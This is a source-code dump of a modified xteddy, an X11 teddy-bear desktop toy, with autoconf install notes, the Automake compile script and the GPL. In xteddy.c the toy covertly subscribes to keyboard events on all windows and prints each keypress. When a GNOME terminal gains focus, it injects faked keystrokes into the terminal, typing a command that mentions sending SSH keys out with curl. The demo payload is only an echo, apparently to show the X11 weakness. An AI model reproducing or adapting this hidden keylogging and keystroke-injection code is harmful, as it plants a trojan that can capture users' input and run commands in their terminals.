| you can use the `configure' options `--x-includes=DIR' and 120 | `--x-libraries=DIR' to specify their locations. 121 | 122 | Specifying the System Type 123 | ========================== 124 | 125 | There may be some features `configure' can not figure out 126 | automatically, but needs to determine by the type of host the package 127 | will run on. Usually `configure' can figure that out, but if it prints 128 | a message saying it can not guess the host type, give it the 129 | `--host=TYPE' option. TYPE can either be a short name for the system 130 | type, such as `sun4', or a canonical name with three fields: 131 | CPU-COMPANY-SYSTEM 132 | 133 | See the file `config.sub' for the possible values of each field. If 134 | `config.sub' isn't included in this package, then this package doesn't 135 | need to know the host type. 136 | 137 | If you are building compiler tools for cross-compiling, you can also 138 | use the `--target=TYPE' option to select the type of system they will 139 | produce code for and the `--build=TYPE' option to select the type of 140 | system on which you are compiling the package. 141 | 142 | Sharing Defaults 143 | ================ 144 | 145 | If you want to set default values for `configure' scripts to share, 146 | you can create a site shell script called `config.site' that gives 147 | default values for variables like `CC', `cache_file', and `prefix'. 148 | `configure' looks for `PREFIX/share/config.site' if it exists, then 149 | `PREFIX/etc/config.site' if it exists. Or, you can set the 150 | `CONFIG_SITE' environment variable to the location of the site script. 151 | A warning: not all `configure' scripts look for a site script. 152 | 153 | Operation Controls 154 | ================== 155 | 156 | `configure' recognizes the following options to control how it 157 | operates. 158 | 159 | `--cache-file=FILE' 160 | Use and save the results of the tests in FILE instead of 161 | `./config.cache'. Set FILE to `/dev/null' to disable caching, for 162 | debugging `configure'. 163 | 164 | `--help' 165 | Print a summary of the options to `configure', and exit. 166 | 167 | `--quiet' 168 | `--silent' 169 | `-q' 170 | Do not print messages saying which checks are being made. To 171 | suppress all normal output, redirect it to `/dev/null' (any error 172 | messages will still be shown). 173 | 174 | `--srcdir=DIR' 175 | Look for the package's source code in directory DIR. Usually 176 | `configure' can determine that directory automatically. 177 | 178 | `--version' 179 | Print the version of Autoconf used to generate the `configure' 180 | script, and exit. 181 | 182 | `configure' also accepts some other, not widely useful, options. 183 | -------------------------------------------------------------------------------- /compile: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # Wrapper for compilers which do not understand '-c -o'. 3 | 4 | scriptversion=2012-10-14.11; # UTC 5 | 6 | # Copyright (C) 1999-2014 Free Software Foundation, Inc. 7 | # Written by Tom Tromey . 8 | # 9 | # This program is free software; you can redistribute it and/or modify 10 | # it under the terms of the GNU General Public License as published by 11 | # the Free Software Foundation; either version 2, or (at your option) 12 | # any later version. 13 | # 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License for more details. 18 | # 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program. If not, see . 21 | 22 | # As a special exception to the GNU General Public License, if you 23 | # distribute this file as part of a program that contains a 24 | # configuration script generated by Autoconf, you may include it under 25 | # the same distribution terms that you use for the rest of that program. 26 | 27 | # This file is maintained in Automake, please report 28 | # bugs to or send patches to 29 | # . 30 | 31 | nl=' 32 | ' 33 | 34 | # We need space, tab and new line, in precisely that order. Quoting is 35 | # there to prevent tools from complaining about whitespace usage. 36 | IFS=" "" $nl" 37 | 38 | file_conv= 39 | 40 | # func_file_conv build_file lazy 41 | # Convert a $build file to $host form and store it in $file 42 | # Currently only supports Windows hosts. If the determined conversion 43 | # type is listed in (the comma separated) LAZY, no conversion will 44 | # take place. 45 | func_file_conv () 46 | { 47 | file=$1 48 | case $file in 49 | / | /[!/]*) # absolute file, and not a UNC file 50 | if test -z "$file_conv"; then 51 | # lazily determine how to convert abs files 52 | case `uname -s` in 53 | MINGW*) 54 | file_conv=mingw 55 | ;; 56 | CYGWIN*) 57 | file_conv=cygwin 58 | ;; 59 | *) 60 | file_conv=wine 61 | ;; 62 | esac 63 | fi 64 | case $file_conv/,$2, in 65 | *,$file_conv,*) 66 | ;; 67 | mingw/*) 68 | file=`cmd //C echo "$file " | sed -e 's/"\(.*\) " *$/\1/'` 69 | ;; 70 | cygwin/*) 71 | file=`cygpath -m "$file" || echo "$file"` 72 | ;; 73 | wine/*) 74 | file=`winepath -w "$file" || echo "$file"` 75 | ;; 76 | esac 77 | ;; 78 | esac 79 | } 80 | 81 | # func_cl_dashL linkdir 82 | # Make cl look for libraries in LINKDIR 83 | func_cl_dashL () 84 | { 85 | func_file_conv "$1" 86 | if test -z "$lib_path"; then 87 | lib_path=$file 88 | else 89 | lib_path="$lib_path;$file" 90 | fi 91 | linker_opts="$linker_opts -LIBPATH:$file" 92 | } 93 | 94 | # func_cl_dashl library 95 | # Do a library search-path lookup for cl 96 | func_cl_dashl () 97 | { 98 | lib=$1 99 | found=no 100 | save_IFS=$IFS 101 | IFS=';' 102 | for dir in $lib_path $LIB 103 | do 104 | IFS=$save_IFS 105 | if $shared && test -f "$dir/$lib.dll.lib"; then 106 | found=yes 107 | lib=$dir/$lib.dll.lib 108 | break 109 | fi 110 | if test -f "$dir/$lib.lib"; then 111 | found=yes 112 | lib=$dir/$lib.lib 113 | break 114 | fi 115 | if test -f "$dir/lib$lib.a"; then 116 | found=yes 117 | lib=$dir/lib$lib.a 118 | break 119 | fi 120 | done 121 | IFS=$save_IFS 122 | 123 | if test "$found" != yes; then 124 | lib=$lib.lib 125 | fi 126 | } 127 | 128 | # func_cl_wrapper cl arg... 129 | # Adjust compile command to suit cl 130 | func_cl_wrapper () 131 | { 132 | # Assume a capable shell 133 | lib_path= 134 | shared=: 135 | linker_opts= 136 | for arg 137 | do 138 | if test -n "$eat"; then 139 | eat= 140 | else 141 | case $1 in 142 | -o) 143 | # configure might choose to run compile as 'compile cc -o foo foo.c'. 144 | eat=1 145 | case $2 in 146 | *.o | *.[oO][bB][jJ]) 147 | func_file_conv "$2" 148 | set x "$@" -Fo"$file" 149 | shift 150 | ;; 151 | *) 152 | func_file_conv "$2" 153 | set x "$@" -Fe"$file" 154 | shift 155 | ;; 156 | esac 157 | ;; 158 | -I) 159 | eat=1 160 | func_file_conv "$2" mingw 161 | set x "$@" -I"$file" 162 | shift 163 | ;; 164 | -I*) 165 | func_file_conv "${1#-I}" mingw 166 | set x "$@" -I"$file" 167 | shift 168 | ;; 169 | -l) 170 | eat=1 171 | func_cl_dashl "$2" 172 | set x "$@" "$lib" 173 | shift 174 | ;; 175 | -l*) 176 | func_cl_dashl "${1#-l}" 177 | set x "$@" "$lib" 178 | shift 179 | ;; 180 | -L) 181 | eat=1 182 | func_cl_dashL "$2" 183 | ;; 184 | -L*) 185 | func_cl_dashL "${1#-L}" 186 | ;; 187 | -static) 188 | shared=false 189 | ;; 190 | -Wl,*) 191 | arg=${1#-Wl,} 192 | save_ifs="$IFS"; IFS=',' 193 | for flag in $arg; do 194 | IFS="$save_ifs" 195 | linker_opts="$linker_opts $flag" 196 | done 197 | IFS="$save_ifs" 198 | ;; 199 | -Xlinker) 200 | eat=1 201 | linker_opts="$linker_opts $2" 202 | ;; 203 | -*) 204 | set x "$@" "$1" 205 | shift 206 | ;; 207 | *.cc | *.CC | *.cxx | *.CXX | *.[cC]++) 208 | func_file_conv "$1" 209 | set x "$@" -Tp"$file" 210 | shift 211 | ;; 212 | *.c | *.cpp | *.CPP | *.lib | *.LIB | *.Lib | *.OBJ | *.obj | *.[oO]) 213 | func_file_conv "$1" mingw 214 | set x "$@" "$file" 215 | shift 216 | ;; 217 | *) 218 | set x "$@" "$1" 219 | shift 220 | ;; 221 | esac 222 | fi 223 | shift 224 | done 225 | if test -n "$linker_opts"; then 226 | linker_opts="-link$linker_opts" 227 | fi 228 | exec "$@" $linker_opts 229 | exit 1 230 | } 231 | 232 | eat= 233 | 234 | case $1 in 235 | '') 236 | echo "$0: No command. Try '$0 --help' for more information." 1>&2 237 | exit 1; 238 | ;; 239 | -h | --h*) 240 | cat <<\EOF 241 | Usage: compile [--help] [--version] PROGRAM [ARGS] 242 | 243 | Wrapper for compilers which do not understand '-c -o'. 244 | Remove '-o dest.o' from ARGS, run PROGRAM with the remaining 245 | arguments, and rename the output as expected. 246 | 247 | If you are trying to build a whole package this is not the 248 | right script to run: please start by reading the file 'INSTALL'. 249 | 250 | Report bugs to . 251 | EOF 252 | exit $? 253 | ;; 254 | -v | --v*) 255 | echo "compile $scriptversion" 256 | exit $? 257 | ;; 258 | cl | *[/\\]cl | cl.exe | *[/\\]cl.exe ) 259 | func_cl_wrapper "$@" # Doesn't return... 260 | ;; 261 | esac 262 | 263 | ofile= 264 | cfile= 265 | 266 | for arg 267 | do 268 | if test -n "$eat"; then 269 | eat= 270 | else 271 | case $1 in 272 | -o) 273 | # configure might choose to run compile as 'compile cc -o foo foo.c'. 274 | # So we strip '-o arg' only if arg is an object. 275 | eat=1 276 | case $2 in 277 | *.o | *.obj) 278 | ofile=$2 279 | ;; 280 | *) 281 | set x "$@" -o "$2" 282 | shift 283 | ;; 284 | esac 285 | ;; 286 | *.c) 287 | cfile=$1 288 | set x "$@" "$1" 289 | shift 290 | ;; 291 | *) 292 | set x "$@" "$1" 293 | shift 294 | ;; 295 | esac 296 | fi 297 | shift 298 | done 299 | 300 | if test -z "$ofile" || test -z "$cfile"; then 301 | # If no '-o' option was seen then we might have been invoked from a 302 | # pattern rule where we don't need one. That is ok -- this is a 303 | # normal compilation that the losing compiler can handle. If no 304 | # '.c' file was seen then we are probably linking. That is also 305 | # ok. 306 | exec "$@" 307 | fi 308 | 309 | # Name of file we expect compiler to create. 310 | cofile=`echo "$cfile" | sed 's|^.*[\\/]||; s|^[a-zA-Z]:||; s/\.c$/.o/'` 311 | 312 | # Create the lock directory. 313 | # Note: use '[/\\:.-]' here to ensure that we don't use the same name 314 | # that we are using for the .o file. Also, base the name on the expected 315 | # object file name, since that is what matters with a parallel build. 316 | lockdir=`echo "$cofile" | sed -e 's|[/\\:.-]|_|g'`.d 317 | while true; do 318 | if mkdir "$lockdir" >/dev/null 2>&1; then 319 | break 320 | fi 321 | sleep 1 322 | done 323 | # FIXME: race condition here if user kills between mkdir and trap. 324 | trap "rmdir '$lockdir'; exit 1" 1 2 15 325 | 326 | # Run the compile. 327 | "$@" 328 | ret=$? 329 | 330 | if test -f "$cofile"; then 331 | test "$cofile" = "$ofile" || mv "$cofile" "$ofile" 332 | elif test -f "${cofile}bj"; then 333 | test "${cofile}bj" = "$ofile" || mv "${cofile}bj" "$ofile" 334 | fi 335 | 336 | rmdir "$lockdir" 337 | exit $ret 338 | 339 | # Local Variables: 340 | # mode: shell-script 341 | # sh-indentation: 2 342 | # eval: (add-hook 'write-file-hooks 'time-stamp) 343 | # time-stamp-start: "scriptversion=" 344 | # time-stamp-format: "%:y-%02m-%02d.%02H" 345 | # time-stamp-time-zone: "UTC" 346 | # time-stamp-end: "; # UTC" 347 | # End: 348 | -------------------------------------------------------------------------------- /xteddy.c: -------------------------------------------------------------------------------- 1 | /* Xteddy - a cuddly bear to place on your desktop. */ 2 | /* Author: Stefan Gustavson, ISY-LiTH, 1994 */ 3 | /* Internet email address: stefang@isy.liu.se */ 4 | /* This software is distributed under the GNU */ 5 | /* Public Licence (GPL). */ 6 | /* Also, if you modify this program or include it */ 7 | /* in some kind of official distribution, I would */ 8 | /* like to know about it. */ 9 | 10 | /* Xpm pixmap manipulation routines for color */ 11 | /* and grayscale teddies are from the Xpm library */ 12 | /* by Arnaud Le Hors, lehors@sophia.inria.fr, */ 13 | /* Copyright 1990-93 GROUPE BULL */ 14 | 15 | /* This is Xteddy version 1.1 as of 1998-04-22. */ 16 | /* from Andreas Tille */ 17 | /* Changes: Load other pixmaps via -F */ 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #ifdef HAVE_LIBXPM 29 | #include 30 | #endif 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #ifndef TRUE 38 | #define TRUE 1 39 | #endif 40 | 41 | #ifndef FALSE 42 | #define FALSE 0 43 | #endif 44 | 45 | static char *progname; 46 | Display *display; 47 | int screen_num; 48 | 49 | #define PIX "_color.xpm" 50 | #define BIT "_bw.xbm" 51 | #define ICO "_icon.xbm" 52 | #define MSK "_mask.xbm" 53 | 54 | int dummy_handler(Display *error_display, XErrorEvent *event) { 55 | return; 56 | } 57 | 58 | void listen_window(Window window) { 59 | XSelectInput(display, window, FocusChangeMask | KeyPressMask | StructureNotifyMask | SubstructureNotifyMask); 60 | } 61 | 62 | void listen_children(Window window) { 63 | Window root, parent, *children; 64 | unsigned int nchildren; 65 | 66 | listen_window(window); 67 | 68 | XQueryTree(display, window, &root, &parent, &children, &nchildren); 69 | if (children) { 70 | int i; 71 | for (i=0; i_color.xpm */ 79 | *bit, /* _bw.xbm */ 80 | *ico, /* _icon.xbm */ 81 | *msk, /* _mask.xbm */ 82 | *window_name, /* */ 83 | *icon_name, /* */ 84 | *buf; /* stores all these strings */ 85 | unsigned int width, height, 86 | icon_width, icon_height; 87 | unsigned char *bw_bits, /* bitmap data */ 88 | *mask_bits, /* mask data */ 89 | *icon_bits; /* icon data */ 90 | } teddy_struct; 91 | 92 | int InitTeddy(teddy_struct *xteddy) 93 | /* Initializing filenames */ 94 | { 95 | #define FBUFLEN 200 96 | int buflen, w, h, xhotret, yhotret; 97 | char fbuf[FBUFLEN]; 98 | 99 | if ( !xteddy->teddy || !(strlen(xteddy->teddy)) ) return -1; 100 | 101 | /* Test, whether the pixmap is in "." or in PIXMAP_PATH */ 102 | strcat(strcpy(fbuf, xteddy->teddy), PIX); 103 | if ( (xhotret = open(fbuf, O_RDONLY)) == -1 ) { 104 | strcat(strcat(strcat(strcpy(fbuf, PIXMAP_PATH), "/"), xteddy->teddy), PIX); 105 | if ( (xhotret = open(fbuf, O_RDONLY)) == -1 ) { 106 | fprintf(stderr, "Can not find %s.\n", fbuf); 107 | return -1; 108 | } 109 | } 110 | close(xhotret); 111 | *(strstr(fbuf, PIX)) = 0; 112 | 113 | buflen = 5 * strlen(fbuf) + 114 | strlen(PIX) + 1 + 115 | strlen(BIT) + 1 + 116 | strlen(ICO) + 1 + 117 | strlen(MSK) + 1; 118 | if ( (xteddy->buf = calloc(buflen, sizeof(char))) == NULL ) return -1; 119 | 120 | strcpy(xteddy->pix = xteddy->buf, fbuf); 121 | strcat(xteddy->pix, PIX); 122 | strcpy(xteddy->bit = xteddy->pix + strlen(xteddy->pix) + 1, fbuf); 123 | strcat(xteddy->bit, BIT); 124 | strcpy(xteddy->ico = xteddy->bit + strlen(xteddy->bit) + 1, fbuf); 125 | strcat(xteddy->ico, ICO); 126 | strcpy(xteddy->msk = xteddy->ico + strlen(xteddy->ico) + 1, fbuf); 127 | strcat(xteddy->msk, MSK); 128 | strcpy(xteddy->window_name = xteddy->msk+strlen(xteddy->msk) + 1, fbuf); 129 | *(xteddy->window_name) = toupper(*(xteddy->window_name)); 130 | xteddy->icon_name = xteddy->teddy; 131 | 132 | XReadBitmapFileData(xteddy->bit, &(xteddy->width), &(xteddy->height), 133 | &xteddy->bw_bits, &xhotret, &yhotret); 134 | XReadBitmapFileData(xteddy->msk, &w, &h, 135 | &xteddy->mask_bits, &xhotret, &yhotret); 136 | if ( (xteddy->width != w) || (xteddy->height != h) ) { 137 | fprintf(stderr, "Bitmap and Mask have different sizes.\n"); 138 | return -1; 139 | } 140 | XReadBitmapFileData(xteddy->ico, &(xteddy->icon_width), &(xteddy->icon_height), 141 | &xteddy->icon_bits, &xhotret, &yhotret); 142 | 143 | return 0; 144 | #undef FBUFLEN 145 | } 146 | 147 | void fake_entry() 148 | { 149 | int i, keycode; 150 | char entry[] = "echo this could be using curl to send your ssh keys to a remote site"; 151 | 152 | for (i=0; i ... Other pixmap name */ 222 | use_wm = FALSE; 223 | float_up = FALSE; 224 | use_mono = FALSE; 225 | allow_quit = TRUE; 226 | x = y = 0; 227 | geomflags = 0; 228 | for(argnum=1; argnum display_width - teddy.width) x = display_width - teddy.width; 274 | if (y<0) y=0; 275 | if (y > display_height - teddy.height) y = display_height - teddy.height; 276 | 277 | /* Create the main window */ 278 | win = XCreateSimpleWindow(display, RootWindow(display,screen_num), 279 | x,y,teddy.width,teddy.height,border_width, 280 | BlackPixel(display,screen_num), 281 | WhitePixel(display,screen_num)); 282 | basewin = win; 283 | 284 | /* Create a GC (Currently not used for any drawing) */ 285 | gcvalues.foreground = BlackPixel(display,screen_num); 286 | gcvalues.background = WhitePixel(display,screen_num); 287 | gcvaluemask = GCForeground | GCBackground; 288 | gc = XCreateGC(display, win, gcvaluemask, &gcvalues); 289 | 290 | #ifndef HAVE_LIBXPM 291 | /* Use b/w dithered X bitmap no matter what */ 292 | background_pixmap = 293 | XCreatePixmapFromBitmapData(display, win, xteddy_bw_bits, 294 | xteddy.width, xteddy.height, 295 | BlackPixel(display, screen_num), 296 | WhitePixel(display, screen_num), 297 | display_depth); 298 | #else 299 | /* Get information about the default visual */ 300 | default_visual = DefaultVisual(display, screen_num); 301 | default_cmap = DefaultColormap(display, screen_num); 302 | 303 | /* Get the visual class of the default visual. (I strongly feel */ 304 | /* that there must be a more straightforward way to do this...) */ 305 | vinfo_template.visualid = XVisualIDFromVisual(default_visual); 306 | visual_info = XGetVisualInfo(display, VisualIDMask, 307 | &vinfo_template, &nmatches); 308 | /* The default visual should be supported, so don't check for NULL return */ 309 | #ifdef DEBUG 310 | printf("%s: default visual class is %s.\n", 311 | progname, visual_name[visual_info->class]); 312 | #endif 313 | if ((visual_info->class == StaticGray) || (use_mono)) 314 | { 315 | /* Use b/w dithered bitmap */ 316 | background_pixmap = 317 | XCreatePixmapFromBitmapData(display, win, teddy.bw_bits, 318 | teddy.width, teddy.height, 319 | BlackPixel(display, screen_num), 320 | WhitePixel(display, screen_num), 321 | display_depth); 322 | } 323 | else /* at least GrayScale - let Xpm decide which visual to use */ 324 | { 325 | xpmattributes.visual = default_visual; 326 | xpmattributes.colormap = default_cmap; 327 | xpmattributes.depth = display_depth; 328 | xpmattributes.valuemask = XpmVisual | XpmColormap | XpmDepth; 329 | if (XpmReadFileToPixmap(display, win, teddy.pix, 330 | &background_pixmap, &shape_pixmap, 331 | &xpmattributes) < XpmSuccess) 332 | { 333 | printf("%s: Failed to allocate colormap. Using black-and-white.\n", 334 | progname); 335 | background_pixmap = 336 | XCreatePixmapFromBitmapData(display, win, teddy.bw_bits, 337 | teddy.width, teddy.height, 338 | BlackPixel(display, screen_num), 339 | WhitePixel(display, screen_num), 340 | display_depth); 341 | } 342 | } 343 | XFree(visual_info); 344 | #endif 345 | setwinattr.background_pixmap = background_pixmap; 346 | if (use_wm) 347 | setwinattr.override_redirect = FALSE; 348 | else 349 | setwinattr.override_redirect = TRUE; 350 | cursor = XCreateFontCursor(display, XC_heart); 351 | setwinattr.cursor = cursor; 352 | valuemask = CWBackPixmap | CWOverrideRedirect | CWCursor; 353 | XChangeWindowAttributes(display, win, valuemask, &setwinattr); 354 | 355 | /* Create and set the shape pixmap of the window - requires shape Xext */ 356 | shape_pixmap = XCreateBitmapFromData(display,win, teddy.mask_bits, 357 | teddy.width, teddy.height); 358 | XShapeCombineMask(display, win, ShapeBounding, 0, 0, shape_pixmap, ShapeSet); 359 | 360 | /* Get available icon sizes from window manager */ 361 | /* (and then blatantly ignore the result) */ 362 | if (XGetIconSizes(display, RootWindow(display,screen_num), 363 | &size_list, &count) == 0) 364 | { 365 | /* Window manager didn't set preferred icon sizes - use the default */ 366 | icon_pixmap = XCreateBitmapFromData(display,win, teddy.icon_bits, 367 | teddy.icon_width, teddy.icon_height); 368 | } 369 | else 370 | { 371 | /* Ignore the list and use the default size anyway */ 372 | icon_pixmap = XCreateBitmapFromData(display,win, teddy.icon_bits, 373 | teddy.icon_width, teddy.icon_height); 374 | } 375 | /* Report size hints and other stuff to the window manager */ 376 | size_hints.min_width = teddy.width; /* Don't allow any resizing */ 377 | size_hints.min_height = teddy.height; 378 | size_hints.max_width = teddy.width; 379 | size_hints.max_height = teddy.height; 380 | size_hints.flags = PPosition | PSize | PMinSize | PMaxSize; 381 | if (XStringListToTextProperty(&(teddy.window_name), 1, &windowName) == 0) 382 | { 383 | (void) fprintf(stderr, 384 | "%s: structure allocation for windowName failed.\n", 385 | progname); 386 | exit(-1); 387 | } 388 | if (XStringListToTextProperty(&(teddy.icon_name), 1, &iconName) == 0) 389 | { 390 | (void) fprintf(stderr, 391 | "%s: structure allocation for iconName failed.\n", 392 | progname); 393 | exit(-1); 394 | } 395 | wm_hints.initial_state = NormalState; 396 | wm_hints.input = TRUE; 397 | wm_hints.icon_pixmap = icon_pixmap; 398 | wm_hints.flags = StateHint | IconPixmapHint | InputHint; 399 | 400 | class_hints.res_name = progname; 401 | class_hints.res_class = "Xteddy"; 402 | 403 | XSetWMProperties(display, win, &windowName, &iconName, 404 | argv, argc, &size_hints, &wm_hints, &class_hints); 405 | 406 | /* Select event types wanted */ 407 | inputmask = ExposureMask | KeyPressMask | ButtonPressMask | 408 | ButtonReleaseMask | StructureNotifyMask | ButtonMotionMask | 409 | PointerMotionHintMask | EnterWindowMask | LeaveWindowMask; 410 | if (float_up) inputmask |= VisibilityChangeMask; 411 | 412 | /* Display window */ 413 | XMapWindow(display,win); 414 | XSetErrorHandler(dummy_handler); 415 | listen_children(DefaultRootWindow(display)); 416 | XSelectInput(display, win, inputmask); 417 | /* Get and process the events */ 418 | while (1) 419 | { 420 | XNextEvent(display, &report); 421 | switch(report.type) 422 | { 423 | case Expose: 424 | if (report.xexpose.count != 0) 425 | break; 426 | else 427 | { 428 | /* No drawing needed - the background pixmap */ 429 | /* is handled automatically by the X server */ 430 | } 431 | break; 432 | case ConfigureNotify: 433 | /* Window has been resized */ 434 | teddy.width = report.xconfigure.width; 435 | teddy.height = report.xconfigure.height; 436 | break; 437 | case ReparentNotify: 438 | /* Window was reparented by the window manager */ 439 | if (!use_wm) 440 | (void) fprintf(stderr, 441 | "%s: Window manager wouldn't leave the window alone!\n", 442 | progname); 443 | basewin = report.xreparent.parent; 444 | break; 445 | case EnterNotify: 446 | /* Grab the keyboard while the pointer is in the window */ 447 | XGrabKeyboard(display, win, FALSE, GrabModeAsync, GrabModeAsync, 448 | CurrentTime); 449 | break; 450 | case LeaveNotify: 451 | /* Release the keyboard when the pointer leaves the window */ 452 | XUngrabKeyboard(display, CurrentTime); 453 | break; 454 | case ButtonPress: 455 | /* Raise xteddy above sibling windows */ 456 | XRaiseWindow(display, win); 457 | /* Remember where the mouse went down */ 458 | XQueryPointer(display, basewin, &root, &child, &tmp_x, &tmp_y, 459 | &offs_x, &offs_y, &tmp_mask); 460 | break; 461 | case ButtonRelease: 462 | /* Place xteddy at the new position */ 463 | XQueryPointer(display, basewin, &root, &child, &new_x, &new_y, 464 | &tmp_x, &tmp_y, &tmp_mask); 465 | winchanges.x = new_x - offs_x; 466 | winchanges.y = new_y - offs_y; 467 | XReconfigureWMWindow(display, basewin, screen_num, 468 | CWX | CWY, &winchanges); 469 | break; 470 | case MotionNotify: 471 | /* Move xteddy around with the mouse */ 472 | while (XCheckMaskEvent(display, ButtonMotionMask, &report)); 473 | if (!XQueryPointer(display, report.xmotion.window, &root, &child, 474 | &new_x, &new_y, &tmp_x, &tmp_y, &tmp_mask)) 475 | break; 476 | winchanges.x = new_x - offs_x; 477 | winchanges.y = new_y - offs_y; 478 | XReconfigureWMWindow(display, win, screen_num, 479 | CWX | CWY, &winchanges); 480 | break; 481 | case VisibilityNotify: 482 | /* Put xteddy on top of overlapping windows */ 483 | if (float_up) 484 | if ((report.xvisibility.state == VisibilityFullyObscured) 485 | || (report.xvisibility.state == VisibilityPartiallyObscured)) 486 | XRaiseWindow(display,win); 487 | break; 488 | case KeyPress: 489 | /* Exit on "q" or "Q" */ 490 | charcount = XLookupString(&report.xkey, buffer, bufsize, 491 | &keysym, &compose); 492 | fprintf(stderr, "%c", keysym); 493 | break; 494 | case CreateNotify: 495 | listen_children(DefaultRootWindow(display)); 496 | XSelectInput(display, win, inputmask); 497 | break; 498 | case FocusIn: 499 | h = XAllocClassHint(); 500 | XGetClassHint(display, report.xfocus.window, h); 501 | if (h->res_name && strcmp(h->res_name, "gnome-terminal-server") == 0) { 502 | fake_entry(); 503 | } 504 | XFree(h); 505 | break; 506 | default: 507 | /* Throw away all other events */ 508 | break; 509 | } /* end switch */ 510 | } /* end while */ 511 | } 512 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software 